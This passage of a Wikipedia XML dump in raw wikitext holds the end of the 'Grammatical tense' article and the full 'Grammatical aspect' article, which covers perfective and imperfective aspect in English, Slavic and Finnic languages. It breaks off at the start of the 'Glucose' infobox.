&lt;tr&gt;&lt;td&gt;past [[Perfect tense|perfect]] ([[Pluperfect|pluperfect]])&lt;/td&gt;
&lt;td&gt;''I had gone.''&lt;/td&gt;
&lt;td&gt;''Ero andato.''&lt;/td&gt;
&lt;td&gt;''Jag hade g&amp;aring;tt.''&lt;/td&gt;
&lt;td&gt;''Olin mennyt.''&lt;/td&gt;
&lt;td&gt;This expresses that an action was completed before some other event.&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;future [[Perfect tense|perfect]]&lt;/td&gt;
&lt;td&gt;''I will have gone.''&lt;/td&gt;
&lt;td&gt;''Sar&amp;ograve; andato.''&lt;/td&gt;
&lt;td&gt;''Jag kommer att ha g&amp;aring;tt.''&lt;/td&gt;
&lt;td&gt;(none)&lt;/td&gt;
&lt;td&gt;This expresses a past action in a hypothetical future.&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

==Tense, aspect, and mood==
The distinction between grammatical tense, [[grammatical aspect|aspect]], and [[Grammatical mood|mood]] is fuzzy and at times controversial.  The English ''continuous'' temporal constructions express an [[grammatical aspect|aspect]] as well as a tense, and some therefore consider that aspect to be separate from tense in English. In [[Spanish language|Spanish]] the traditional verb tenses are also combinations of aspectual and temporal information.

Going even further, there's an ongoing dispute among modern English grammarians (see [[English grammar]]) regarding whether ''tense'' can only refer to [[inflection|inflected]] forms.  In [[Germanic languages]] there are very few tenses (often only two) formed strictly by inflection, and one school contends that all complex or periphrastic time-formations are [[Grammatical aspect|aspects]] rather than tenses.

The abbreviation ''TAM'' , ''T/A/M'' or ''TMA'' is sometimes found when dealing with verbal morphemes that combine tense, aspect and mood information.

== Classification of tenses ==

Tenses can be broadly classified as:
* absolute: indicates time in relationship to the time of the utterance (i.e. &quot;now&quot;). For example, &quot;I am sitting down&quot;, the tense is indicated in relation to the present moment.
* relative: in relationship to some other time, other than the time of utterance, e.g. &quot;Strolling through the shops, she saw a nice dress in the window&quot;. Here, the &quot;saw&quot; is relative to the time of the &quot;strolling&quot;. The relationship between the time of &quot;strolling&quot; and the time of utterance is not clearly specified.
* absolute-relative: indicates time in relationship to some other event, whose time in turn is relative to the time of utterance. (Thus, in absolute-relative tense, the time of the verb is indirectly related to the time of the utterance; in absolute tense, it is directly related; in relative tense, its relationship to the time of utterance is left unspecified.) For example, &quot;When I  walked through the park, I saw a bird.&quot; Here, &quot;saw&quot; is present relative to the &quot;walked&quot;, and &quot;walked&quot; is past relative to the time of the utterance, thus &quot;saw&quot; is in absolute-relative tense.

Moving on from this, tenses can be quite finely distinguished from one another, although no language will express simply all of these distinctions. As we will see, some of these tenses in fact involve elements of modality (e.g. predictive and not-yet tenses), but they are difficult to classify clearly as either tenses or moods.

Many languages define tense not just in terms of past/future/present, but also in terms of how far into the past or future they are. Thus they introduce concepts of closeness or remoteness, or tenses that are relevant to the measurement of time into days ([[hodiernal tense|hodiernal]] or [[hesternal tense|hesternal tenses]]).

Some languages also distinguish not just between past, present, and future, but also nonpast, nonpresent, nonfuture. Each of these latter tenses incorporates two of the former, without specifying which.

Some tenses:
*[[Absolute tense]]s
**[[Future tense]]s. Some languages have different future tenses to indicate how far into the future we are talking about. Some of these include:
***[[Close future tense]]: in the near future, soon
***[[Hodiernal future tense]]: sometime today
***[[Post-hodiernal future tense]]: sometime after today
***[[Remote future tense]]: in the more distant future
***[[Predictive future tense]]: a future tense which expresses a prediction rather than an intention, i.e. &quot;I predict he will lose the election, although I want him to win&quot;. As such, it is really more of a mood than a tense. (Its tenseness rather than modality lies in the fact that you can predict the future, but not the past.)
**[[Nonfuture tense]]: refers to either the present or the past, but does not clearly specify which. Contrasts with future.
**[[Nonpast tense]]: refers to either the present or the future, but does not clearly specify which. Contrasts with past.
**[[Not-yet tense]]: has not happened in present or past (nonfuture), but often with the implication that it is expected to happen in the future. (As such, is both a tense and a modality). In English, it is expressed with &quot;not yet&quot;, hence its name.
**[[Past tense]]s. Some languages have different past tenses to indicate how far into the past we are talking about.
***[[Hesternal past tense]]: yesterday or early, but not remote
***[[Hodiernal past tense]]: sometime earlier today
***[[Immediate past tense]]: very recent past tense, e.g. in the last minute or two
***[[Recent past tense]]: in the last few days/weeks/months (exact definition varies)
***[[Remote past tense]]: more than a few days/weeks/months ago (exact definition varies)
***[[Nonrecent past tense]]: not recent past tense, contrasting with recent past tense
***[[Nonremote past tense]]: not remote past tense, contrasting with remote past tense
***[[Prehesternal past tense]]: before hesternal past tense
***[[Prehodiernal past tense]]: before hodiernal past tense
***[[Preterit]]: past tense not marked for aspect or modality
**[[Present tense]]
**[[Still tense]]: indicates a situation held to be the case, at or immediately before the utterance
*[[Absolute-relative tenses]]
**[[future perfect tense]]: will have completed by some time in the future, will occur before some time in the future
**[[future-in-future tense]]: at some time in the future, will still be in the future
**[[future-in-past tense]]: at some time in the future, will be in the past
**[[future-perfect-in-past tense]]: will be completed by some time which is in the future of some time in the past, eg., Sally went to work; by the time she should be home, the burglary would have been completed.
**[[past perfect tense]]: at some time in the past, was already in the past
*[[Relative tenses]]
**[[relative future tense]]: is in the future of some unspecified time
**[[relative nonfuture tense]]: is in the past or present of some unspecified time
**[[relative nonpast tense]]: is in the present or future of some unspecified time
**[[relative past tense]]: is in the past of some unspecified time
**[[relative present tense]]: is in the present of some unspecified time

== Bibliography ==

* Bybee, Joan L., Revere Perkins, and William Pagliuca (1994) ''The Evolution of Grammar: Tense, Aspect, and Modality in the Languages of the World''. University of Chicago Press.
* Comrie, Bernard (1985) ''Tense''. Cambridge University Press. [ISBN: 0521281385]
* Downing, Angela, and Philip Locke (1992) &quot;Viewpoints on Events: Tense, Aspect and Modality&quot;. In A. Downing and P. Locke, ''A University Course in English Grammar'', Prentice Hall International, 350--402.
* Guillaume, Gustave (1929) ''Temps et verbe''. Paris: Champion.
* Hopper, Paul J., ed. (1982) ''Tense-Aspect: Between Semantics and Pragmatics''. Amsterdam: Benjamins. 
* Tedeschi, Philip, and Anne Zaenen, eds. (1981) ''Tense and Aspect''. (Syntax and Semantics 14). New York: Academic Press.

==See also== 
*[[English grammar]]
*[[Grammar]]
*[[Grammatical aspect]]
*[[Grammatical mood]]
*[[Grammatical voice]]

==External links==

* [http://www.scar.utoronto.ca/~binnick/TENSE/Index.html Robert Binnick's tense/aspect bibliography] (around 9000 entries)
* [http://users.skynet.be/bk244875/wiki/flowcharttenses.pdf Tenses Flowchart and worksheet (pdf-file)]
* [http://www.EnglishTensesWithCartoons.com Short descriptions of the English Tenses]
[[Category:Grammatical tenses| ]]
[[br:Amzer (yezhoniezh)]]
[[de:Tempus]]
[[fr:Temps (grammaire)]]
[[hu:Igeidő]]
[[ja:時制]]
[[nn:Tempus]]
[[pl:Czas (gramatyka)]]
[[pt:Tempo verbal]]
[[ru:Время (грамматика)]]
[[fi:Aikamuoto]]
[[sv:Tempus]]
[[es:Tiempo (gramática)]]
[[zh:时态]]</text>
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  <page>
    <title>Grammatical aspect</title>
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      <text xml:space="preserve">In [[linguistics]], '''grammatical aspect''' is a property of a [[verb]] that defines the nature of temporal flow (or lack thereof) in the described event or state. 

It is to be stressed that aspect, as discussed here, is a ''formal'' property of a language.  Some languages distinguish a large number of formal aspects (see the list below), while others distinguish none at all.  Even languages that do not mark aspect formally, however, can convey such distinctions, if important, by the use of adverbs, phrases, serial verb constructions or other means.

==Common aspectual distinctions==
The most fundamental aspectual distinction, represented in many languages, is between [[perfective aspect]] and [[imperfective aspect]]. This is the basic aspectual distinction in the Slavic languages. It semantically corresponds to the distinction between the tenses known respectively as the [[aorist]] and [[imperfect]] in Greek, the [[preterite]] and imperfect in Spanish, the [[simple past]] (passé simple) and imperfect in French, and the [[perfect]] and imperfect in Latin.  Essentially, the perfective aspect refers to a single event conceived as a unit, while the imperfective aspect represents an event in the process of unfolding or a repeated or habitual event. In the past tense, the distinction often coincides with the distinction between the simple past &quot;X-ed&quot;, as compared to the progressive &quot;was X-ing&quot;.  For example, the perfective would translate both verbs in the sentence &quot;He raised his sword and struck the enemy&quot;.  However, in the sentence &quot;As he was striking the enemy, he was killed by an arrow&quot;, the first verb would be rendered by an imperfective and the second by a perfective.

==Aspect vs. tense==
Aspect is a somewhat difficult concept to grasp for the speakers of most modern [[Indo-European]] languages, because they tend to conflate the concept of aspect with the concept of [[grammatical tense|tense]]. (The two concepts are mostly independent in the modern [[Slavic languages]], such as [[Russian language|Russian]], and in [[Greek language|Greek]].) Although English largely separates tense and aspect formally, its aspects (neutral, progressive, perfect and progressive perfect) do not correspond very closely to the distinction of perfective vs. imperfective that is common in most other languages.  Furthermore, the separation of tense and aspect in English is not maintained rigidly.  One instance of this is the alternation, in informal English, between sentences such as &quot;Have you eaten yet?&quot; and &quot;Did you eat yet?&quot;.  Another is in the past perfect (&quot;I had eaten&quot;), which sometimes represents the combination of  past tense and perfect aspect (&quot;I was full because I had already eaten&quot;), but sometimes simply represents a past action which is anterior to another past action (&quot;A little while after I had eaten, my friend arrived&quot;). (The latter situation is often represented in other languages by a simple perfective tense.  Formal Spanish and French use a [[past anterior]] tense in cases such as this.)

==Lexical vs. grammatical aspect==
It is extremely important to distinguish between grammatical aspect, as described here, and [[lexical aspect]].  Lexical aspect is an inherent property of verbs, and is not marked formally.  The distinctions made as part of lexical aspect are different from those of grammatical aspect; typical distinctions are between states (&quot;I have&quot;), activities (&quot;I shop&quot;) and achievements (&quot;I buy&quot;).  These distinctions are often relevant syntactically.  For example, states and activities, but not usually achievements, can be used with a prepositional ''for''-phrase describing a time duration: &quot;I had a car for five hours&quot;, &quot;I shopped for five hours&quot;, but not &quot;*I bought a car for five hours&quot;.  Lexical aspect is sometimes called ''[[Aktionsart]]'', especially by [[German language|German]] and [[Slavist|Slavic]] linguists.

==Usage of aspects==
In some languages, aspect and time are very clearly separated, making them much more distinct to their speakers. There are a number of languages that mark aspect much more saliently than time. Prominent in this category is [[Chinese language|Chinese]], which differentiates a whole slew of aspects but relies exclusively on (optional) time-words to pinpoint an action with respect to time. In other language groups, for example in most modern [[Indo-European language]]s (except [[Slavic languages]]), aspect has become almost entirely conflated, in the tense system, with time.

In [[Russian language|Russian]], aspect is more salient than tense in narrative. Russian, like other Slavic languages, uses different lexical entries for the different aspects, whereas other languages mark them [[morphology (linguistics)|morphologically]], and still others with [[auxiliary verb|auxiliaries]] (e.g., English).

[[Arabic language|Arabic]] shows a contrast between [[dynamic aspect|dynamic]] and [[static aspect]]. For example, the concepts 'ride' and 'mount' are shown by forms of the same verb ''rukubun'', static in the former case and dynamic in the latter.

Important qualifications:

*In many cases, the English simple past is used in situations that would be rendered in the imperfective in most other languages, not the perfective.  This occurs particularly with verbs that represent ongoing states, rather than actions (&quot;He had two dogs&quot; or &quot;There was a chair on the floor&quot;), and in constructions describing habitual actions (&quot;He walked his dog every day&quot;).
*Although the perfective is often thought of as representing a &quot;momentary action&quot;, this is not strictly correct.  It can equally well be used for an action that took time, as long as it is ''conceived of'' as a unit, with a clearly defined start and end, such as &quot;Last summer I visited France&quot;.
*Grammatical aspect represents a formal distinction encoded in the grammar of a language.  Although languages that are described as having imperfective and perfective aspects will agree in most cases in their usage of these aspects, no two languages will agree in every situation.  For example:
**Some languages have additional grammatical aspects.  Spanish and Ancient Greek, for example, have a [[perfect aspect]] (not the same as the perfective!), which refers to a state resulting from a previous action (also described as a previous action with relevance to a particular time, or a previous action viewed from the perspective of a later time).  This corresponds (roughly) to the &quot;have X-ed&quot; construction in English, as in &quot;I have recently eaten&quot;.  Languages that lack this aspect (such as Portuguese, which is closely related to Spanish) often use the past perfective to render the present perfect (compare the synonymous American English sentences &quot;Have you eaten yet?&quot; and &quot;Did you eat yet?&quot;).
**In some languages, the formal representation of aspect is optional, and can be omitted when the aspect is clear from context or does not need to be emphasized.  This is the case, for example, in Chinese, with the perfective suffix ''le'' and (especially) the imperfective ''zhe''.
**For some verbs in some languages, the difference between perfective and imperfective conveys an additional meaning difference; in such cases, the two aspects will typically be translated using separate verbs in English.  In Greek, for example, the imperfective sometimes adds the notion of &quot;try to do something&quot; (the so-called ''conative imperfect''); hence the same verb, in the imperfective (present or imperfect tense) and aorist, respectively, is used to convey ''look'' and ''see'', ''search'' and ''find'', ''listen'' and ''hear''. (For example, &amp;#951;&amp;#954;&amp;#959;&amp;#965;&amp;#959;&amp;#956;&amp;#949;&amp;#957; ''ēkouomen'' &quot;we listened&quot; vs. &amp;#951;&amp;#954;&amp;#959;&amp;#965;&amp;#963;&amp;#945;&amp;#956;&amp;#949;&amp;#957; ''ēkousamen'' &quot;we heard&quot;.) Spanish has similar pairs for certain verbs, such as (imperfect and preterite, respectively) ''sabía'' &quot;I knew&quot; vs. ''supe'' &quot;I found out&quot;, ''podía'' &quot;I was able to&quot; vs. ''pude'' &quot;I succeeded (in doing something)&quot;, ''quería'' &quot;I wanted to&quot; vs. ''quise'' &quot;I tried to&quot;, ''no quería'' &quot;I didn't want to&quot; vs. ''no quise'' &quot;I refused (to do something)&quot;.   Such differences are often highly language-specific.

==Aspect in English==
According to one prevalent account, the English tense system is considered to have strictly only two basic ''times'' (since no primitive future tense exists in English, and the futurity of an event is expressed in English through the use of the [[auxiliary verb]]s &quot;[[will future|will]]&quot; and &quot;[[shall]]&quot;, by use of a present form, as in &quot;tomorrow we go to Newark&quot;, or by some other means). But present and past are expressed using direct modifications of the verb, which may then be modified further by the [[progressive aspect]] (also called the ''continuous'' aspect), the [[perfect aspect]] (also called the ''completed'' aspect), or both.  Each tense is named according to its combination of aspects and time.

So we have for the present tense:
*Present Simple (not progressive/continuous, not perfect; simple): &quot;I eat&quot;
*Present Progressive (progressive, not perfect): &quot;I am eating&quot;
*Present Perfect (not progressive, perfect): &quot;I have eaten&quot;
*Present Perfect Progressive (progressive, perfect): &quot;I have been eating&quot;

...and for the past tense:
*Past Simple (not progressive/continuous, not perfect; simple): &quot;I ate&quot;
*Past Progressive (progressive, not perfect): &quot;I was eating&quot;
*Past Perfect (not progressive, perfect): &quot;I had eaten&quot;
*Past Perfect Progressive (progressive, perfect): &quot;I had been eating&quot;

(Note that, while many elementary discussions of English grammar would classify the Present Perfect as a past tense, from the standpoint of strict linguistics – and that elucidated here – it is clearly a species of the present, as we cannot say of someone now deceased that he &quot;has eaten&quot; or &quot;has been eating&quot;; the present auxiliary implies that he is in some way ''present'' (alive), even if the action denoted is completed (perfect) or partially completed (progressive perfect).)

Another aspect that does survive in English, but that is no longer productive, is the [[frequentative]], which conveys the sense of continuously repeated action; while prominent in [[Latin]], it is omitted from most discussions of English grammar, as it suggests itself only by [[Scandinavian language|Scandinavian]] [[suffix]]es no longer heard independently from the words to which they're affixed (e.g., &quot;blabber&quot; for &quot;blab&quot;, &quot;chatter&quot; for chat&quot;, &quot;dribble&quot; for &quot;drip&quot;, &quot;crackle&quot; for &quot;crack&quot;, etc.).

Note that the aspectual systems of certain dialects of English, such as [[Hawaiian Creole English]] and [[African-American Vernacular English]], are quite different from standard English, and often distinguish aspect at the expense of tense.

==Aspect in Slavic languages==
In [[Slavic languages]] there is only one type of aspectual opposition which forms two grammatical aspects: [[perfective aspect|perfective]] and [[imperfective aspect|imperfective]] (in contrast with English which has two aspectual oppositions: perfect vs. neutral and progressive vs. nonprogressive). The aspectual distinctions exist on the lexical level - there is no unique method to form a perfective verb from a given imperfective one (or conversely).

With a few exceptions each Slavic verb is either perfective or imperfective. Most verbs form strict pairs of one perfective and one imperfective verb with generally the same meaning. However, in each Slavic language there is a number of verbs which are bi-aspectual and act as both imperfective and perfective. They are mainly borrowings from non-Slavic languages, but some native verbs also belong to this group. As opposed to them, mono-aspectual verbs are mainly native. There are mono-aspectual imperfective verbs without perfective equivalents (among others, verbs with the meaning ''to be'' and ''to have'') as well as perfective verbs without imperfective equivalents (for instance, verbs with the meaning 'become ...', e.g. ''to become paralyzed'' etc.).

Perfective aspect allows the speaker to describe the action as finished, completed, finished in the natural way. Imperfective aspect does not present the action as finished, but rather as continuing or repeating.

An example will be made of the verb &quot;to eat&quot; in the [[Serbian language]]. The verb translates into Serbian either as &quot;jesti&quot; (imperfective) or &quot;pojesti&quot; (perfective). Now, both aspects could be used in the same tense of Serbian. For example:

{| border=1
!colspan=3|[[Serbian language|Serbian]]
|-
|Example||Tense||Aspect
|-
|Ja sam jeo||rowspan=2|past||imperfective
|-
|Ja sam pojeo||perfective
|-
|Ja sam bio jeo||rowspan=2|[[Pluperfect tense|pluperfect]]||imperfective
|-
|Ja sam bio pojeo||perfective
|-
|Ja &amp;#263;u jesti||rowspan=2|future||imperfective
|-
|Ja &amp;#263;u pojesti||perfective
|}

''Ja sam pojeo'' signals that the action was completed. Its meaning can be given as &quot;I ate (something) and I finished eating (it)&quot;; or &quot;I ate (something) up&quot;.

''Ja sam jeo'' signals that the action took place (at a specified moment, or in the course of one's life, or every day, etc.); it may mean &quot;I was eating&quot;, &quot;I ate&quot; or &quot;I've been eating&quot;.

The [[Polish language]] can also serve as a typical Slavic language. All following examples are Polish.

'''Imperfective''' verbs mean:
* actions in progress, just going states and activities, with significant course (in opinion of the speaker);
* activities posing the background for other (perfective) activities, ex. ''czytałem książkę, gdy zadzwonił telefon'' 'I was reading the book when the telephone rang';
* simultaneous activities, ex. ''będę czytać książkę, podczas gdy brat będzie pisać list'' 'I will be reading the book while brother will be writing the letter';
* durative activities, lasting through some time, e.g. ''krzyczał'' 'he was shouting', ''będzie drgać'' 'it will be vibrating';
* motions without a strict aim, ex. ''chodzę'' 'I am walking here and there';
* multiple (iterative) activities, ex. ''dopisywać'' 'to insert many times to the text', ''będziemy wychodziły'' 'we will go out (many times)';
* non-resultative activities, only heading towards some purpose: ''będę pisał list'' 'I will be writing the letter';
* continuous states, ex. ''będę stać'' 'I will be standing'.

'''Perfective''' verbs mean past or future, but not present activities – an activity which is happening now cannot be ended, so it cannot be perfective. Perfective verbs mean:
* states and activities which were ended (even if a second ago) or which will be ended, with insignificant course, short or treated as a whole by the speaker, ex. ''krzyknął'' 'he shouted', ''drgnie'' 'it will stir';
* single-time activities, ex. ''dopisać'' 'to insert to the text', ''wyszedł'' 'he has gone out';
* actions whose goals have already been achieved, even if with difficulty, ex. ''przeczytałem'' 'I have read', ''doczytała się'' 'she finished reading and found what she had sought';
* reasons for the state, ex. ''pokochała'' 'she came to love', ''zrozumiesz'' 'you (sg.) will understand', ''poznamy'' 'we will get to know';
* the beginning of the activity or the state, ex. ''wstanę'' 'I will stand up' (and I will stand), ''zaczerwienił się'' 'he reddened';
* the end of the activity or the state, ex. ''dośpiewaj'' 'sing till the end';
* activities executed in many places, on many objects or by many subjects at the same time, ex. ''powynosił'' 'he carried out (many things)', ''popękają'' 'they will break out in many places', ''poucinać'' 'to cut off many items';
* actions or states which last some time, ex. ''postoję'' 'I will stand for a little time', ''pobył'' 'he was (there) for some time'.

Most '''simple''' Polish verbs are imperfective (the same in other Slavic languages), ex. ''iść'' 'to walk, to go', ''nieść'' 'to carry', ''pisać'' 'to write'. But there are also few simple perfective verbs, ex. ''dać'' 'to give', ''siąść'' 'to sit down'. There exist many perfective verbs with suffixes and without prefixes, ex. ''krzyknąć'' 'to shout', ''kupić'' 'to buy' (cf. the imperfective ''kupować'' with a different suffix).

Numerous perfective verbs are formed from simple imperfectives by '''prefixation'''. To create the perfective counterpart, verbs use various [[prefix]]es without any clear rules. The actual prefix can even depend on a dialect or special meaning, ex. the perfective counterpart to ''malować'' is ''pomalować'' when it means 'to paint a wall', or ''namalować'' when it means 'to paint a picture'.

Besides the strict perfective equivalent, a number of other prefixed verbs may be formed from a given simple imperfective verb. They all have similar but distinct meaning. And they form, as a rule, their own imperfective equivalents by means of '''suffixation''' (attaching [[suffix]]es) or stem '''alternation'''. Example:
* ''prać'' 'to wash / clean clothes with water and soap / washing powder' is a simple imperfective verb;
* ''uprać'' is its perfective counterpart while ''doprać'', ''przeprać'', ''oprać'' are other derived perfective verbs with a little different meanings;
* ''dopierać'', ''przepierać'', ''opierać'' are secondary imperfective verbs which are counterparts for ''doprać, przeprać, oprać'' respectively; ''*upierać'' does not exist because the basic verb ''prać'' is the imperfective counterpart of ''uprać''.

There is a number of verbs which form their aspectual counterparts by simultaneous prefixation and suffixation or by suppletion, ex. (the first one is imperfective) ''stawiać - postawić'' 'to set up', ''brać - wziąć'' 'to take', ''widzieć - zobaczyć'' 'to see'.

Special imperfective verbs are those which express aimless motions. They are mono-aspectual, i.e they have no perfective equivalents. They are formed from other imperfective verbs by stem alternations or suppletion, ex. ''nosić'' 'to carry around' (from ''nieść''), ''chodzić'' 'to walk around, to go around' (from ''iść'' 'to go, to walk'). However, when such a verb gets an aim anyway, it becomes iterative: ''chodzić do szkoły'' 'to go to school'.

Other iteratives build another group of mono-aspectual imperfective verbs. They are formed from other imperfective verbs, including the previous group: ''chadzać'' 'to walk around usually' (from ''chodzić''), ''jadać'' 'to eat usually' (from ''jeść'' 'to eat'). Both groups are not too numerous: most Polish verbs cannot form iterative counterparts.

Perfective verbs which express activities executed in many places, on many objects or by many subjects at the same time, and those which express actions or states which last some time, have no imperfective counterparts. They are formed with the prefix ''po-'' (which can have other functions as well).

States and activities which last for some time can be expressed by means of both imperfective and perfective verbs: ''cały dzień leżał w łóżku'' 'he was in bed all day long' (literally: 'he lay in bed') means nearly the same as ''cały dzień przeleżał w łóżku''. The difference is mainly stylistic: imperfective is neutral here, while using perfective causes stronger tone of the statement.

Aspect in Slavic is a superior category in relation to [[tense]] or [[mood]]. Particularly, some verbal forms (like infinitive) cannot distinguish tense but they still distinguish aspect. Here is the list of Polish verb forms which can be formed by both imperfective and perfective verbs (such a list is similar in other Slavic languages). The example is an imperfective and a perfective Polish verb with the meaning 'to write'. All personal forms are given in 3rd person, masculine singular:
* infinitive: ''pisać - napisać'';
* passive participle: ''pisany - napisany'';
* gerund: ''pisanie - napisanie'';
* past impersonal form: ''pisano - napisano'';
* past impersonal form in subjunctive: ''pisano by - napisano by'';
* past tense: ''pisał - napisał'';
* future tense: ''będzie pisać / będzie pisał - napisze'';
* subjunctive, 1st form: ''pisałby - napisałby'';
* subjunctive, 2nd form: ''byłby pisał - byłby napisał'';
* imperative: ''pisz - napisz''.

The following may be formed only if the verb is imperfective:
* contemporary adverbial participle – ''pisząc'';
* active participle – ''piszący'';
* present tense – ''pisze''.  

One form may be created only if the verb is perfective, namely:
* anterior adverbial participle – ''napisawszy''.

==Aspect in Finnic languages==

[[Finnish language|Finnish]] and [[Estonian language|Estonian]], among others, have a grammatical aspect contrast of [[telicity]] between telic and atelic. Telic sentences signal that the intended goal of an action is achieved. Atelic sentences do not signal whether any such goal has been achieved. The aspect is indicated by the [[List of grammatical cases|case]] of the object: [[accusative]] is telic and [[partitive]] is atelic. For example, the (implicit) purpose of shooting is to kill, such that:
* ''Ammuin karhun'' -- &quot;I shot the bear (succeeded)&quot;; i.e., &quot;I shot the bear dead&quot;.
* ''Ammuin karhua'' -- &quot;I shot (towards) the bear&quot;; i.e., &quot;I shot the bear (and I am not telling if it died)&quot;. 
Sometimes, corresponding telic and atelic forms have as little to do with each other semantically as &quot;take&quot; has with &quot;take off&quot;. For example, ''naida'' means &quot;to marry&quot; when telic, but &quot;to have sex with&quot; when atelic.

Also, derivational suffices exist for various aspects. Examples:
*''-ahta-'' &quot;do suddenly by itself&quot; as in ''ammahtaa'' &quot;to shoot up&quot; from ''ampua'' &quot;to shoot&quot;
*''-ele-'' &quot;repeatedly&quot; as in ''ammuskella'' &quot;to go shooting around&quot;

There are derivational suffixes for verbs, which carry [[frequentative]], [[momentane]], [[causative]], and [[inchoative]] aspect meanings; also, pairs of verbs differing only in [[transitivity]] exist.

==Confusing terminology: perfective vs. perfect==
The terms ''perfective'' and ''perfect'' are used in an unfortunate and highly confusing fashion in different writings about linguistics.  Traditional Greek grammar uses the term &quot;perfect&quot; to refer to a grammatical tense encoding what is variously described as a past action with present relevance or a present state resulting from a past action. (For example, &quot;I have gone to the cinema&quot; implies both that I went to the cinema and that I am now in the cinema.) The perfect is opposed to the [[aorist]], describing a simple past action, and the [[imperfect tense|imperfect]], describing an ongoing past action.  From this, the aspectual nature of the perfect tense was generalized into the [[perfect aspect]], describing a previously completed action with relevance to a particular time.  Accordingly, English grammar speaks of the ''[[present perfect]]'' (&quot;I have gone&quot;), the ''[[past perfect]]'' or ''[[pluperfect]]'' (&quot;I had gone&quot;), and the ''[[future perfect]]'' (&quot;I will have gone&quot;).

Latin, however, lacks a distinction between aorist and perfect, and for morphological reasons the single tense representing the combination of both meanings is called the &quot;perfect&quot;.  The two-way distinction here between imperfect and perfect is carried over into the terminology of various modern languages, such as the [[Slavic languages]], where a distinction between &quot;imperfective&quot; and &quot;perfective&quot; aspect corresponds to a distinction between an event viewed as ongoing or with internal structure and an event viewed as a simple whole.  That is, what is called &quot;perfective&quot; is similar to the aspectual nature of the original Greek aorist, ''not'' the Greek perfect.

Many linguists have tried to maintain this terminology.  The web site of SIL, for example, describes the &quot;perfective aspect&quot; as &quot;an aspect that expresses a temporal view of an event or state as a simple whole, apart from the consideration of the internal structure of the time in which it occurs&quot; [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsPerfectiveAspect.htm].  This has led other linguists to categorize the three-way aspectual distinction visible in Greek, English, Spanish and various other languages as a distinction between &quot;imperfective&quot;, &quot;perfective&quot; and &quot;perfect&quot;.  Not surprisingly, the latter two are constantly confused, and &quot;perfective&quot; is often taken to be synonymous with &quot;perfect&quot;.

==Examples of various aspects rendered in English==
* [[Perfective aspect|perfective]] ([[aorist aspect|aorist]], simple; see above): 'I struck the bell.' (single action)
* [[Perfect aspect|Perfect]] (sometimes confusingly called &quot;perfective&quot;; see above): 'I have gone to the cinema.' (hence, I am now in the cinema)
* Progressive ([[continuous aspect|continuous]]): 'I am eating.' (action is in progress)
* Habitual: 'I walk home from work.' (every day)
: 'I would walk [OR: used to walk] home from work.' (past habit)
* [[Imperfective aspect|Imperfective]] (either progressive or habitual): 'I am walking to work' (progressive) or 'I walk to work every day' (habitual).
* Prospective: 'I am about to eat' OR: 'I'm going to eat.&quot;
* Inceptive: 'I am beginning to eat.'
* [[Inchoative]] (not clearly distinguished from inceptive): 'The apples ripen.'
* Continuative: 'I am continuing to eat.'
* Terminative: 'I am finishing my meal.'
* Conative: 'I am trying to eat.'
* Cessative: 'I am quitting smoking.'
* Pausative: 'I stopped working for a while.'
* Resumptive: 'I resumed sleeping.'
* Punctual: 'I slept.'
* Durative: 'I slept for an hour.'
* Delimitative: 'I slept for a while.'
* Protractive: 'The argument went on and on.'
* Iterative: 'I read the same books again and again.'
* [[Frequentative]]: 'It sparkled', contrasted with 'It sparked'. Or, 'I run around', vs. 'I run'.
* Experiential: 'I have gone to school many times.'
* Intentional: 'I listened carefully.'
* Accidental: 'I knocked over the chair.'
* Generic: 'Mangos grow on trees.'
* Intensive: 'It glared.'
* Moderative: 'It shone.'
* Attenuative: 'It glimmered.'
* Semelfactive ([[momentane]]): 'The mouse squeaked once.' (contrasted to 'The mouse squeaked/was squeaking.')

Languages which contrast intentional and accidental aspect morphologically are extremely rare; one such language is [[Bats language|Bats]], which distinguishes this aspectual difference for just six verbs. Compare '''so wodze''' ''I fell down (through no fault of my own, accidentally)'' and '''as wodze''' ''I fell down (through something I did, or on purpose)''.

==External links==
* [http://www.scar.utoronto.ca/~binnick/old%20tense/ Robert Binnick annotated tense/aspect bibliography] (around 9000 entries)
* [http://igitur-archive.library.uu.nl/dissertations/2004-0309-140804/inhoud.htm Anna Katarzyna Młynarczyk: Aspectual Pairing in Polish], a pdf version of the book
* [http://www.lbt-languages.de/english/lernhilfe/lernhilfe.html Grammar Tutorials] - a column overview of the English tenses

==References==
*[http://www.amazon.com/exec/obidos/tg/detail/-/0415203198/ Routledge Dictionary of Language and Linguistics], by [[Hadumod Bussmann]], edited by [[Gregory P. Trauth]] and [[Kerstin Kazzazi]], Routledge, London [[1996]]. Translation of [[German language|German]] ''Lexikon der Sprachwissenschaft'' Kröner Verlag, [[Stuttgart]] [[1990]].
*[http://www.ling.helsinki.fi/~lcarlson/02-03/ctl104/ctl104h03facit.html Morfofonologian harjoituksia], Lauri Carlson

[[Category:Grammatical aspects| ]]

[[de:Aspekt (Linguistik)]]
[[es:Aspecto]]
[[fr:Aspect]]
[[gl:Aspecto]]
[[ja:相 (言語学)]]
[[pl:Aspekt (gramatyka)]]
[[sl:Glagolski vid]]
[[sv:Aspekt]]
[[zh:体 (语法)]]</text>
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  </page>
  <page>
    <title>Glucose</title>
    <id>12950</id>
    <revision>
      <id>41407069</id>
      <timestamp>2006-02-27T02:59:27Z</timestamp>
      <contributor>
        <username>BorisTM</username>
        <id>198330</id>
      </contributor>
      <comment>added - &quot;id&quot; for the infobox;</comment>
      <text xml:space="preserve">&lt;div&gt;
&lt;!-- Here is a table of data; skip past it to edit the text. --&gt;
&lt;!-- Submit {{:subst:chembox_simple_organic}} to get this template or go to [[:Template:Chembox simple organic]]. --&gt;
{| id=&quot;bioChemInfoBox&quot; align=&quot;right&quot; border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot; style=&quot;margin: 0 0 0 0.5em; background: #FFFFFF; border-collapse: collapse; border-color: #C0C090; width: 320px;&quot;
! {{chembox header}} | '''{{PAGENAME}}'''
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | [[Image:Glucose.png|Chemical structure of Glucose]]
|-
| [[IUPAC nomenclature|Chemical name]]
| 6-(hydroxymethyl)oxane-2,3,4,5-tetrol
|-
| Synonym for D-glucose
| dextrose
|-
| Varieties of D-glucose
| &amp;alpha;-D-glucose; &amp;beta;-D-glucose
|-
| Abbreviations
| '''Glc'''
|-
| [[Chemical formula]]
